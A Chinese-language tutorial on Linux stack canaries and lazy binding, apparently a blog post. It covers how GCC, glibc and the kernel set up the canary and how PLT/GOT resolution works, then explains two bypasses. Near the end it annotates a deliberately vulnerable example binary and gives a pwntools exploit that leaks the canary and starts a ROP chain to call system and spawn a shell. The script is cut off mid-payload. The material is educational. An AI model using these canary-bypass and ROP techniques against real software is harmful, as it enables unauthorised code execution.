栈上的缓冲区变量发生溢出时,可能会导致非预期情况(比如返回地址被劫持)的产生,进而导致一系列的安全问题。为了缓解该问题,Linux退出金丝雀机制Stack Canaries对栈进行保护,保护原理在下方的反汇编代码中可以看到。
1. 金丝雀机制的检测逻辑
栈上的缓冲区变量溢出时,会向地址增高方向覆盖一段连续的区域,假如提前在栈底前放置1个随机数,那么当缓冲区变量溢出时,也会导致该随机数被篡改,当函数结束时,在对保存的随机数进行检查,如果发现数值不对,就说明栈上的缓冲区变量溢出了,此时不应该继续往下执行。
从汇编角度上看,函数序言中会向保存调用函数的栈底指针,然后设置被调用函数自身的栈底指针,最后分配栈空间,这3条汇编指令标志着1个经典的函数序言。
完成栈空间的设置后,由于金丝雀机制的存在,需要赶在局部变量之前添加随机值到栈上rbp-0x8,位于局部变量之后的随机值显然不会起到什么保护作用。
因为随机值会占用0x8字节的空间,所以局部变量的位置相对于未开启金丝雀机制前,也会增加0x8字节。
1 2 3 4 5 6 | 0x0000555555555159 <+0>: push %rbp0x000055555555515a <+1>: mov %rsp,%rbp0x000055555555515d <+4>: sub $0x20,%rsp0x0000555555555161 <+8>: mov %fs:0x28,%rax0x000055555555516a <+17>: mov %rax,-0x8(%rbp) |
在函数返回时,金丝雀机制会先于leave指令及ret指令从栈上取出数据前,取出栈上保存的随机值并进行检查,只有当数值一致时,才会遵循正常的返回逻辑。
1 2 3 4 5 6 7 | 0x0000555555555187 <+46>: mov -0x8(%rbp),%rax0x000055555555518b <+50>: sub %fs:0x28,%rax0x0000555555555194 <+59>: je 0x55555555519b <simple_overflow+66>0x0000555555555196 <+61>: call 0x555555555040 <__stack_chk_fail@plt>0x000055555555519b <+66>: leave0x000055555555519c <+67>: ret |
通过观察随机值可以发现,最低字节刚好是0x00,由于C语言中字符串以\0作为结束符,所以即使缓冲区变量紧邻随机值且被填满时,字符串也会以随机值中的\0作为终止符,保证字符串被截断。
1 2 | (gdb) x /gx $rbp-0x80x7fffffffde18: 0xabe7aa6352121c00 |
2. 实现方式
在上面可以看到,随机数是从fx+0x28的位置取出的,那么这个值是谁放进去,怎么放进去的呢?
2.1 编译器的支持
为了支持金丝雀机制,在给代码文件生成二进制文件时,就需要在函数序言和结语部分插入上方展示的插入随机值及检测随机值的指令。
这些指令是否生成以及在什么情况下生成,可以通过编译选项进行控制,下面列举了GCC编译器的相关选项及说明。
1 2 3 4 5 6 7 | -fstack-protector 只为局部变量中含有数组的函数开启保护-fstack-protector-all 为所有函数开启保护-fstack-protector-strong 为局部变量地址作为赋值语句的右值及函数参数、含有数组类型的局部变量、`register`声明的局部变量开启保护-fstack-protector-explicit 对含义stack_protect attribute的函数开启保护-fno-stack-protector 禁用保护 |
2.2 TLS与金丝雀
LibC使用fs寄存器存放线程局部存储TLS Thread Local Stroage,TLS可用于支持多线程同时访问同1个全局变量或静态变量。TLS的存在使得每个线程都独占1份全局变量及静态变量,不同线程间对同1个全局变量或静态变量的修改并不会产生冲突。
当然这种特殊的变量需要__thread关键字修饰,编译器看到__thread修饰的变量后,二进制文件内会将这些变量放入.tdata 节和.tbss节内,前面的t用于标识thread,.tdata 节和.tbss节中存储着变量的原始版本。
1 2 3 4 5 | [19] .tdata PROGBITS 0000000000003dc0 00002dc0 0000000000000010 0000000000000000 WAT 0 0 8[20] .tbss NOBITS 0000000000003dd0 00002dd0 0000000000000004 0000000000000000 WAT 0 0 4[21] .init_array INIT_ARRAY 0000000000003dd0 00002dd0 |
TLS的实现由tcbhead_t结构体支持,在该结构体中存在stack_guard成员,他被用于存放随机数,该成员在结构体内的偏移值是0x28。
1 2 3 4 5 6 7 8 9 10 11 12 | typedef struct{ void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ...} tcbhead_t; |
TLS由LD中的init_tls初始化,下面展示了完整的调用栈信息。
1 2 3 4 5 6 7 8 9 10 11 | (gdb) bt#0 init_tls (naudit=naudit@entry=0) at rtld.c:736#1 0x00007ffff7fe9565 in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:2040#2 0x00007ffff7fe5146 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffdf50, dl_main=dl_main@entry=0x7ffff7fe6cc0 <dl_main>) at ../sysdeps/unix/sysv/linux/dl-sysdep.c:140#3 0x00007ffff7fe69be in _dl_start_final (arg=0x7fffffffdf50) at rtld.c:494#4 _dl_start (arg=0x7fffffffdf50) at rtld.c:581#5 0x00007ffff7fe5748 in _start () from /lib64/ld-linux-x86-64.so.2#6 0x0000000000000001 in ?? ()#7 0x00007fffffffe269 in ?? ()#8 0x0000000000000000 in ?? ()(gdb) |
在GDB中观察fs寄存器时,会发现fs寄存器的值永远是0,这是因为软件调试器GDB对系统寄存器没有访问权限导致的。但是内核提供了arch_prctl接口,用于修改或获取特定于体系结构的进程或线程状态。
在GDB中,已经借用内核接口将TLS所在位置放置在fs_base寄存器中。
1 2 3 4 5 6 7 8 9 10 11 | fs 0x0 0fs_base 0x7ffff7db0740 140737351714624(gdb) p *(tcbhead_t*)0x7ffff7db0740$7 = {tcb = 0x7ffff7db0740, dtv = 0x7ffff7db10e0, self = 0x7ffff7db0740, multiple_threads = 0, gscope_flag = 0, sysinfo = 0, stack_guard = 16109256396036869120, pointer_guard = 9142662214636680000, unused_vgetcpu_cache = {0, 0}, feature_1 = 0, __glibc_unused1 = 0, __private_tm = {0x0, 0x0, 0x0, 0x0}, __private_ss = 0x0, ssp_base = 0, __glibc_unused2 = {{{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{ i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = { 0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}}, __padding = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}} |
初始化后fs_base会指向一段内存所在的区域,显然这段内存是专门提供给TLS使用的。
1 | 7ffff7db0000-7ffff7db3000 rw-p 00000000 00:00 0 |
2.3 金丝雀的产生
C程序启动时,操作系统会先将控制权交给LD,在LD执行好相应操作后,才会调用主程序的入口函数_start,想要调试LD程序也可以在_start函数处设置断点,因为_start函数是ELF文件的起点。
在通过init_tls初始化好TLS信息后,才会通过security_init产生随机值。随机值stack_chk_guard会根据另一个随机值_dl_random进行设置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | dl_main(.....){ ...... init_tls(0) ...... if (__glibc_likely (need_security_init)) /* Initialize security features. But only if we have not done it earlier. */ security_init (); ......}static void security_init (void){ /* Set up the stack checker's canary. */ uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);#ifdef THREAD_SET_STACK_GUARD THREAD_SET_STACK_GUARD (stack_chk_guard);#else __stack_chk_guard = stack_chk_guard;#endif /* Set up the pointer guard as well, if necessary. */ uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);#ifdef THREAD_SET_POINTER_GUARD THREAD_SET_POINTER_GUARD (pointer_chk_guard);#endif __pointer_chk_guard_local = pointer_chk_guard; /* We do not need the _dl_random value anymore. The less information we leave behind, the better, so clear the variable. */ _dl_random = NULL;} |
为了观察_dl_random,我们再GDB中watch该变量,当变量的数值改变时,调试器会自动中断,此时会发现随机值_dl_random由_dl_sysdep_parse_arguments函数设置。
_dl_sysdep_parse_arguments函数会通过_dl_parse_auxv (GLRO(dl_auxv), auxv_values);对_dl_random修改,_dl_random位于auxv_values中AT_RANDOM位置,而auxv是内核提供的一种接口,用于在程序运行时传递信息到用户空间,所以随机值_dl_random是内核产生的。
1 2 3 4 5 6 7 8 9 10 11 12 13 | #0 _dl_sysdep_parse_arguments (start_argptr=<optimized out>, start_argptr@entry=0x7fffffffdf50, args=args@entry=0x7fffffffde50) at ../sysdeps/unix/sysv/linux/dl-sysdep.c:93#1 0x00007ffff7fe50e0 in _dl_sysdep_start ( start_argptr=start_argptr@entry=0x7fffffffdf50, dl_main=dl_main@entry=0x7ffff7fe6cc0 <dl_main>) at ../sysdeps/unix/sysv/linux/dl-sysdep.c:106#2 0x00007ffff7fe69be in _dl_start_final (arg=0x7fffffffdf50) at rtld.c:494#3 _dl_start (arg=0x7fffffffdf50) at rtld.c:581#4 0x00007ffff7fe5748 in _start () from /lib64/ld-linux-x86-64.so.2#5 0x0000000000000001 in ?? ()#6 0x00007fffffffe26a in ?? ()#7 0x0000000000000000 in ?? () |
stack_chk_guard随机值产生好后,会提交给THREAD_SET_POINTER_GUARD宏,该宏会对当前线程的线程描述符进行修改stack_guard成员,如果THREAD_SET_STACK_GUARD未被定义,那么随机值会被放入__stack_chk_guard全局变量内。
2.4 内核对不同线程的支持
操作系统内会有多个线程运行,不同线程间的金丝雀随机值显然应该是不同的,那么内核就需要为每个线程都保存一份金丝雀信息,当线程发生切换时,还需要将fs+0x28的数值进行更新。
在内核中每个线程通过task_strcut结构体进行管理,不同线程间通过struct list_head tasks;成员链表进行管理(对tasks成员进行遍历可以得到全部进程),在task_strcut结构体内存在unsigned long stack_canary;成员,该成员在线程建立时由dup_task_struct获取随机值并填写该成员(前面_dl_random就是借助系统调用从这里获取数值的)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | struct task_struct { ...... struct list_head tasks; ...... unsigned long stack_canary; ......}static struct task_struct *dup_task_struct(struct task_struct *orig, int node){ ...... setup_thread_stack(tsk, orig); clear_user_return_notifier(tsk); clear_tsk_need_resched(tsk); set_task_stack_end_magic(tsk); clear_syscall_work_syscall_user_dispatch(tsk);#ifdef CONFIG_STACKPROTECTOR tsk->stack_canary = get_random_canary();#endif ......} |
内核会通过__switch_to切换线程,这时候有个很重要的工作就是将保存当前线程的上下文,再将待切换线程的上下文设置好,上下文信息中就包含TLS信息,因此切换线程时,TLS信息也会随之更新,这样用户程序就可以访问寄存器获取正确的随机值了。
3. 延迟绑定
从上面可以看到金丝雀的检测函数__stack_chk_fail来自LibC,而且类似于它一样来自动态链接库的函数,在函数名后都会有一个@plt的标识,这个标识起什么作用呢?
3.1 动态链接库中函数的绑定策略
在链接期中,链接器会将所有的目标文件和静态链接文件(多个目标文件的集合)中的内容链接进入自身,而动态链接库中的内容则会推迟到运行期时在进行绑定。
在动态链接的情况下,程序并不会在刚开始运行时就将全部的函数加载,而是采取按需加载的策略,即函数调用发生时再去加载。
PLT与GOT的解析
通过objdump工具反汇编观察主程序的ELF文件可以发现,每个动态链接函数由于在文件内没有实际的函数实现,所以文件会先提供.plt节作为中转站,该节中的表项是动态链接函数跳转时的实际指向位置,.plt节中的每个表项都由3条指令组成。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | 0000000000001020 <puts@plt-0x10>: 1020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8> 1026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10> 102c: 0f 1f 40 00 nopl 0x0(%rax)0000000000001030 <puts@plt>: 1030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 4000 <puts@GLIBC_2.2.5> 1036: 68 00 00 00 00 push $0x0 103b: e9 e0 ff ff ff jmp 1020 <_init+0x20>0000000000001060 <read@plt>: 1060: ff 25 b2 2f 00 00 jmp *0x2fb2(%rip) # 4018 <read@GLIBC_2.2.5> 1066: 68 03 00 00 00 push $0x3 106b: e9 b0 ff ff ff jmp 1020 <_init+0x20>0000000000001169 <test> ...... 118a: e8 a1 fe ff ff call 1030 <puts@plt> ...... |
通过readelf工具观察段信息,可以知道.plt节位于LOAD可读可执行(RE)段内。
1 2 3 4 5 | 3号段:LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000229 0x0000000000000229 R E 0x100003 .init .plt .text .fini |
.plt节中除第一个表项外,其余表项都由jmp push jmp三条指令组成,第一条jmp指令指向.got.plt节,最后一条jmp指令都统一指向.plt中的首个表项,push指令会将表项的序号压入栈内。
通过readelf工具观察段信息,可以知道.got.plt节位于LOAD可读可写(RW)段内。
1 2 3 4 5 | 5号段:LOAD 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0 0x0000000000000260 0x0000000000000268 RW 0x100005 .init_array .fini_array .dynamic .got .got.plt .data .bss |
首先分析第一条指令,该指令会指向.got.plt节中的不同表项,并根据表项内的数值进行跳转,.got.plt节中每8个字节(64位 / 8比特)为1个表项,表项中的数值会指向.plt节中表项push指令的所在位置。
1 2 3 4 5 6 7 8 9 10 | jmp *0x2fca(%rip) -> 0x1036+0x2fca = 0x4000 (36 10) -> 1036 push $0x0jmp *0x2fb2(%rip) -> 0x1066+0x2fb2 = 0x4018 (66 10) -> 1066 push $0x3Disassembly of section .got.plt:0000000000003fe8 <_GLOBAL_OFFSET_TABLE_>: 3fe8: e0 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .=.............. ... 4000: 36 10 00 00 00 00 00 00 46 10 00 00 00 00 00 00 6.......F....... 4010: 56 10 00 00 00 00 00 00 66 10 00 00 00 00 00 00 V.......f....... |
在等push指令将数据压入栈后,最后一条jmp指令会统一的跳转到.plt节中的首表项<puts@plt-0x10>。
1 2 3 4 5 6 7 8 9 10 11 12 13 | .plt节中表项最后的jmp指令:jmp 1020 <_init+0x20>0000000000001020 <puts@plt-0x10>: 1020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8> 1026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10> 102c: 0f 1f 40 00 nopl 0x0(%rax)hexdump -C ./canary_bypass_example -s 0x3fc0 | more00003fc0 03 00 00 00 00 00 00 00 c0 3f 00 00 00 00 00 00 |.........?......|00003fd0 c0 2f 00 00 00 00 00 00 28 00 00 00 00 00 00 00 |./......(.......|00003fe0 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 |................|00003ff0 08 00 00 00 00 00 00 00 f9 00 00 00 01 00 00 00 |................| |
通过上面的分析可以确定动态链接函数与.plt节、.got.plt节、.got节间的相互关系。但是这些节存在的意义仍不清楚,下面会结合调试器进行分析。
3.2 调试器下的观察动态链接过程
第一步:调用puts函数时先进入.plt节中对应的表项内。
1 2 3 4 | (gdb)0x000055555555518a 11 puts("hello world!");1: x/i $rip=> 0x55555555518a <example+33>: call 0x555555555030 <puts@plt> |
第二步:jmp指令指示从.got.plt节中获取跳转地址,此时.got.plt节中对应表项的跳转地址会重新指向.plt节中的push指令。
1 2 3 4 5 6 7 | (gdb) 0x0000555555555030 in puts@plt ()1: x/i $rip=> 0x555555555030 <puts@plt>: jmp *0x2fca(%rip) # 0x555555558000 <puts@got.plt>x /10x $rip+0x2fca0x555555558000 <puts@got.plt>: 0x55555036 0x00005555 0x55555046 0x00005555 |
第三步:push指令将0x0压入栈后,会继续根据jmp指令进行跳转。
1 2 3 4 5 6 7 8 | (gdb) si0x0000555555555036 in puts@plt ()1: x/i $rip=> 0x555555555036 <puts@plt+6>: push $0x0(gdb) 0x000055555555503b in puts@plt ()1: x/i $rip=> 0x55555555503b <puts@plt+11>: jmp 0x555555555020 |
压入栈的数据如下所示。
1 2 3 4 | (gdb) x /10x $rsp0x7fffffffddc0: 0x00000000 0x00000000 0x5555518f 0x000055550x7fffffffddd0: 0x00000019 0x00000050 0x00000000 0x000000000x7fffffffdde0: 0x00000000 0x00000000 |
第四步:观察跳转地址可以发现,jmp指令会带我们前往.plt节中的首表项。
1 2 | (gdb) info files0x0000555555555020 - 0x0000555555555070 is .plt |
第五步:.plt节中的首表项会先将.got.plt节中表项所在地址压入栈内,
1 2 3 4 5 6 7 8 9 10 11 12 13 | (gdb) info files0x0000555555557fe8 - 0x0000555555558020 is .got.plt(gdb) x /3i 0x555555555020 0x555555555020: push 0x2fca(%rip) # 0x555555557ff0 0x555555555026: jmp *0x2fcc(%rip) # 0x555555557ff8 0x55555555502c: nopl 0x0(%rax)(gdb) x /gx 0x555555557ff80x555555557ff8: 0x00007ffff7fdbe10(gdb) info symbol 0x00007ffff7fdbe10_dl_runtime_resolve_fxsave in section .text of /lib64/ld-linux-x86-64.so.2 |
此时可以发现.got.plt节中内容已经和之前静态文件中内容不同了。
压入栈的数据如下所示。
1 2 3 4 | (gdb) x /10x $rsp0x7fffffffddb8: 0xf7ffe2e0 0x00007fff 0x00000000 0x000000000x7fffffffddc8: 0x5555518f 0x00005555 0x00000019 0x000000500x7fffffffddd8: 0x00000000 0x00000000 |
第六步:执行_dl_runtime_resolve_fxsave函数,加载puts函数。
_dl_runtime_resolve_fxsave函数如何运作暂时就不做解析了。
第七步:再次执行puts函数时,会发现.got.plt节中表项存储的地址已经变成了puts函数的所在地址,此时执行jmp指令就会直接前往puts函数。
1 2 3 4 5 6 7 | 1: x/i $rip=> 0x555555555030 <puts@plt>: jmp *0x2fca(%rip) # 0x555555558000 <puts@got.plt>(gdb) x /gx 0x5555555580000x555555558000 <puts@got.plt>: 0x00007ffff7e327d0(gdb) info symbol 0x00007ffff7e327d0puts in section .text of /usr/lib/libc.so.6 |
3.3 PLT与GOT的总结
在链接期内,动态链接函数其实现的所在位置是链接器不可知的,因此会提供PLT(过程链接表 procedure linkage table)作为中转站,PLT会根据.got.plt节的指示跳转。
当动态链接函数尚未加载时,.got.plt节会指示前往.got节,运行期内.got节会存放出来动态链接的参数及函数地址,程序需要先将动态链接函数加载进来,并将.got.plt节指向的跳转位置修改为对应动态链接函数的位置。
由于.plt节位于可读可执行段内,所以运行期中它是不可修改的,只能修改位于可读可写段中的.got.plt节,这也是该节存在的意义,否则直接省去.got.plt节就可以了。
当动态链接函数再次执行时,PLT会根据.got.plt节中存放的函数地址进行执行,而无需再次进行加载。
4. 绕过思路
4.1 泄露随机值
随机值的最低位设置为\x00,本意是为了保证字符串可以被\x00截断,从而保护其他字节信息。但当随机值的最低字节也被覆盖时,其余处于高位的字节信息也会被暴露出来。
4.2 检测函数的劫持
在上面的分析中可以看到,主程序中跳转到__stack_chk_fail函数的地址由.got.plt节中数据决定,并且.got.plt节在运行期是可以写的,假如该节中的内容被篡改,那么当运行__stack_chk_fail函数时,程序的执行流就会被我们控制。
5. 示例讲解
下面给出了二进制程序的反汇编代码,接下来会对反汇编信息进行分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 | 0000000000001169 <canary_leak>: 1169: 55 push %rbp 将调用函数的栈底指针从rdp寄存器压到栈上 116a: 48 89 e5 mov %rsp,%rbp 将当前栈顶指针作为被调用函数的栈底指针 116d: 48 83 ec 50 sub $0x50,%rsp 分配栈空间大小0x50 1171: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 从fs寄存器指向的TLS信息中取出金丝雀 1178: 00 00 117a: 48 89 45 f8 mov %rax,-0x8(%rbp) 将取出的金丝雀压入栈内,对栈进行保护 117e: 31 c0 xor %eax,%eax 清零eax寄存器 1180: 48 8d 05 7d 0e 00 00 lea 0xe7d(%rip),%rax # 2004 <_IO_stdin_used+0x4> 取出0xe7d(%rip)地址中保存的数据到rax寄存器 1187: 48 89 c7 mov %rax,%rdi 根据调用协议将rax寄存器中数据放入rdi寄存器内 118a: e8 a1 fe ff ff call 1030 <puts@plt> 通过rdi寄存器提供的参数调用puts函数 118f: 48 8d 45 c0 lea -0x40(%rbp),%rax 将栈上变量的地址放入rax寄存器内,为接下来的传参做准备 1193: ba 00 10 00 00 mov $0x1000,%edx 将0x1000放入edx寄存器内,它作为read函数的第三个参数 1198: 48 89 c6 mov %rax,%rsi 将rax寄存器中的数值放入rsi寄存器内,它作为read函数的第二个参数 119b: bf 00 00 00 00 mov $0x0,%edi 将0x0放入edi寄存器内,它作为read函数的第一个参数 11a0: e8 bb fe ff ff call 1060 <read@plt> 调用read函数 11a5: 48 8d 45 c0 lea -0x40(%rbp),%rax 11a9: 48 89 c6 mov %rax,%rsi 11ac: 48 8d 05 6a 0e 00 00 lea 0xe6a(%rip),%rax # 201d <_IO_stdin_used+0x1d> 11b3: 48 89 c7 mov %rax,%rdi 11b6: b8 00 00 00 00 mov $0x0,%eax 上方指令根据调用协议准备形参给printf函数 11bb: e8 90 fe ff ff call 1050 <printf@plt> 调用printf函数 11c0: 48 8d 05 6d 0e 00 00 lea 0xe6d(%rip),%rax # 2034 <_IO_stdin_used+0x34> 11c7: 48 89 c7 mov %rax,%rdi 上方指令根据调用协议准备形参给puts函数 11ca: e8 61 fe ff ff call 1030 <puts@plt> 调用puts函数 11cf: 48 8d 45 b4 lea -0x4c(%rbp),%rax 11d3: ba 00 10 00 00 mov $0x1000,%edx 11d8: 48 89 c6 mov %rax,%rsi 11db: bf 00 00 00 00 mov $0x0,%edi 上方指令根据调用协议准备形参给read函数 11e0: e8 7b fe ff ff call 1060 <read@plt> 调用read函数 11e5: 90 nop 空指令 11e6: 48 8b 45 f8 mov -0x8(%rbp),%rax 11ea: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax 取出金丝雀进行检测 11f1: 00 00 11f3: 74 05 je 11fa <canary_leak+0x91> 金丝雀值变化则调用__stack_chk_fail函数,否则正常返回 11f5: e8 46 fe ff ff call 1040 <__stack_chk_fail@plt> 11fa: c9 leave 11fb: c3 ret00000000000011fc <stack_check_func_hijack>: 11fc: 55 push %rbp 11fd: 48 89 e5 mov %rsp,%rbp 1200: 48 83 ec 20 sub $0x20,%rsp 处理栈底指针和栈顶指针 1204: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 120b: 00 00 120d: 48 89 45 f8 mov %rax,-0x8(%rbp) 设置金丝雀 1211: 31 c0 xor %eax,%eax 清空eax寄存器,为后续使用做准备 1213: 48 8d 05 32 0e 00 00 lea 0xe32(%rip),%rax # 204c <_IO_stdin_used+0x4c> 121a: 48 89 c7 mov %rax,%rdi 根据调用协议准备形参 121d: e8 0e fe ff ff call 1030 <puts@plt> 调用puts函数 1222: 48 8d 45 ec lea -0x14(%rbp),%rax 1226: ba 00 10 00 00 mov $0x1000,%edx 122b: 48 89 c6 mov %rax,%rsi 122e: bf 00 00 00 00 mov $0x0,%edi 根据调用协议准备形参 1233: e8 28 fe ff ff call 1060 <read@plt> 调用read函数 1238: 48 8d 05 24 0e 00 00 lea 0xe24(%rip),%rax # 2063 <_IO_stdin_used+0x63> 123f: 48 89 c7 mov %rax,%rdi 根据调用协议准备形参 1242: e8 e9 fd ff ff call 1030 <puts@plt> 调用puts函数 1247: 48 8d 45 e0 lea -0x20(%rbp),%rax 将栈上变量的地址交给rax寄存器 124b: ba 00 10 00 00 mov $0x1000,%edx 1250: 48 89 c6 mov %rax,%rsi 1253: bf 00 00 00 00 mov $0x0,%edi 根据调用协议准备形参 1258: e8 03 fe ff ff call 1060 <read@plt> 调用read函数 125d: 48 8d 05 16 0e 00 00 lea 0xe16(%rip),%rax # 207a <_IO_stdin_used+0x7a> 1264: 48 89 c7 mov %rax,%rdi 根据调用协议准备形参 1267: e8 c4 fd ff ff call 1030 <puts@plt> 调用puts函数 126c: 48 8b 45 e0 mov -0x20(%rbp),%rax 将栈上变量保存的地址放置到rax寄存器内 1270: ba 00 10 00 00 mov $0x1000,%edx 1275: 48 89 c6 mov %rax,%rsi 1278: bf 00 00 00 00 mov $0x0,%edi 根据调用协议准备形参 127d: e8 de fd ff ff call 1060 <read@plt> 调用read函数 1282: 90 nop 空指令 1283: 48 8b 45 f8 mov -0x8(%rbp),%rax 1287: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax 处理金丝雀 128e: 00 00 1290: 74 05 je 1297 <stack_check_func_hijack+0x9b> 金丝雀变化则调用__stack_chk_fail,否则正常退出 1292: e8 a9 fd ff ff call 1040 <__stack_chk_fail@plt> 1297: c9 leave 1298: c3 ret0000000000001299 <main>: 1299: 55 push %rbp 129a: 48 89 e5 mov %rsp,%rbp 129d: 48 83 ec 10 sub $0x10,%rsp 处理栈空间 12a1: 89 7d fc mov %edi,-0x4(%rbp) 将argc放到栈上 12a4: 48 89 75 f0 mov %rsi,-0x10(%rbp) 将argv放到栈上 12a8: 48 8b 45 f0 mov -0x10(%rbp),%rax 将argv放到rax寄存器内 12ac: 48 83 c0 08 add $0x8,%rax 偏移0x8到argv[1] 12b0: 48 8b 00 mov (%rax),%rax 将rax寄存器中的数据放入rax 12b3: 48 85 c0 test %rax,%rax 判断argv[1]是否为空 12b6: 75 0f jne 12c7 <main+0x2e> 不为空就跳转 12b8: 48 8d 05 d0 0d 00 00 lea 0xdd0(%rip),%rax # 208f <_IO_stdin_used+0x8f> 12bf: 48 89 c7 mov %rax,%rdi 根据调用协议准备参数 12c2: e8 69 fd ff ff call 1030 <puts@plt> 调用puts 12c7: b8 00 00 00 00 mov $0x0,%eax 设置返回值为0x0 12cc: eb 3d jmp 130b <main+0x72> 跳转到函数末尾准备退出 12ce: 48 8b 45 f0 mov -0x10(%rbp),%rax 12d2: 48 83 c0 08 add $0x8,%rax 准备argv[1]到rax寄存器 12d6: 48 8b 00 mov (%rax),%rax 将rax寄存器中地址对应的数据放入rax寄存器内 12d9: 0f b6 00 movzbl (%rax),%eax 12dc: 0f be c0 movsbl %al,%eax 将argv[1][0]放入eax内 12df: 83 f8 63 cmp $0x63,%eax 0x63为字符c,将字符c与eax进行比较 12e2: 74 0c je 12f0 <main+0x57> 相等就跳转到0x12f0 12e4: 83 f8 73 cmp $0x73,%eax 0x73为字符s,将字符s与eax进行比较 12e7: 75 08 jne 12f1 <main+0x58> 不相等就跳转到0x12f1 12e9: e8 0e ff ff ff call 11fc <stack_check_func_hijack> 调用stack_check_func_hijack 12ee: eb 07 jmp 12f7 <main+0x5e> 跳转到0x12f7 12f0: 90 nop 空指令 12f1: e8 73 fe ff ff call 1169 <canary_leak> 调用canary_leak 12f6: 90 nop 空指令 12f7: 48 8d 05 a9 0d 00 00 lea 0xda9(%rip),%rax # 20a7 <_IO_stdin_used+0xa7> 12fe: 48 89 c7 mov %rax,% 根据调用协议准备形参 1301: e8 2a fd ff ff call 1030 <puts@plt> 调用puts 1306: b8 00 00 00 00 mov $0x0,%eax 设置返回值然后返回 130b: c9 leave 130c: c3 ret |
通过分析上面的反汇编代码可以知道,程序由main、canary_leak、stack_check_func_hijack三个函数组成,canary_leak函数和stack_check_func_hijack函数都开启了金丝雀保护机制。
main函数内会针对argv[1][0]进行判断,当argv[1][0]是字符s时调用stack_check_func_hijack函数,否则调用canary_leak函数。
canary_leak函数内会读取两次输入,并且在首次输入后会将缓冲区变量打印出来,此时就可以利用它们泄露金丝雀,然后通过最后一次传入payload完成PWN。
stack_check_func_hijack函数内部会读取参数输入,第一次是读取输入到rbp-0x14位置的缓冲区变量,第二次是修改rbp-0x20的内存地址,第三次是修改rbp-0x20中保存的数据,显然rbp-0x20位置上的变量是指针类型。因此可以通过第二次读取输入将rbp-0x20的内存地址修改为.got.plt节中表项的地址,可以通过第三次读取输入修改.got.plt节中表项的数据。
5.1 exploit-泄露金丝雀
根据上面分析,可以先填充缓冲区变量到金丝雀的最低字节,然后获取泄露的金丝雀,最后根据金丝雀的数值填充rbp-0x8的位置,调用函数栈底指针可以随意覆盖,返回地址则借用LibC中的指令,让其通过system函数调用shell,最后得到下方的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | import osimport pwnpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux')libc_base = 0x7ffff7db3000system_offset = 0x50f10sh_str_offset = 0x1aae28ret_offset = 0xfd8c5pop_rdi_ret_offset = 0xfd8c4exit_offset = 0x3f050conn = pwn.process(argv = ['./example', 'c'])buf_padding = b'A' * (0x40 - 0x8)conn.sendlineafter('please enter user name: \n', buf_padding)result = conn.recvuntil('\xff')canary = result[0x4c:0x53]canary = b'\x00' + canaryprint(canary)payload = b'A' * (0x4c - 0x8)payload += canarypayload += b'B' * 0x8payload += pwn.p64(libc_base + pop_rdi_ret_offset)payload += 